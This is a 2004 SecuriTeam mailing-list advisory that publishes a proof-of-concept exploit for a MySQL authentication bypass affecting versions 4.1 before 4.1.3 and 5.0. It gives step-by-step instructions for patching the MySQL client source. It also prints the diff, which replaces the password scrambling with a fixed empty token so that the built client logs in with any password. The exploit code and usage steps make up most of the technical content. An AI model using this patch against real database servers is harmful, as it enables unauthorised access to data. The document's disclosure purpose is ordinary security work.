Date: 11 Jul 2004 11:58:11 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [EXPL] MySQL Authentication Bypass Client Patch Proof Of Concept Exploit
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
MySQL Authentication Bypass Client Patch Proof Of Concept Exploit
------------------------------------------------------------------------
SUMMARY
An issue with the authentication mechanism in MySQL has been reported in
our previous article
<http://www.securiteam.com/unixfocus/5BP0420DFQ.html> MySQL Authentication
Scheme Bypass. A proof of concept patch for the MySQL client program is
provided below which would cause the MySQL client to authenticate
automatically.
DETAILS
Vulnerable Systems:
* MySQL version 4.1 up to but not including 4.1.3
* MySQL version 5.0
Immune Systems:
* MySQL version 4.1.3
The diff patch can only be used against the latest alpha version (5.0.0)
of MySQL. In order to use it, follow the following steps:
* Download and unpack the MySQL 5.0.0-alpha source
* Patch the sql-common/client.c file:
sql-common/ $ patch client.c mysql.authentication.bypass_client.c.diff
* Configure and Make as usual
The resultant MySQL client binary can then be used normally but with one
exception: The user can completely disregard the password and in fact can
enter any password and it would not matter. The provided diff patch:
1941,1956c1941,1942
< if (passwd[0])
< {
< if (mysql->server_capabilities & CLIENT_SECURE_CONNECTION)
< {
< *end++= SCRAMBLE_LENGTH;
< scramble(end, mysql->scramble, passwd);
< end+= SCRAMBLE_LENGTH;
< }
< else
< {
< scramble_323(end, mysql->scramble, passwd);
< end+= SCRAMBLE_LENGTH_323 + 1;
< }
< }
< else
< *end++= '\0'; /* empty password */
---
> sprintf(end,"\x14\x00");
> end+=2;
ADDITIONAL INFORMATION
The information has been provided by
<mailto:[email protected]> bambam.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.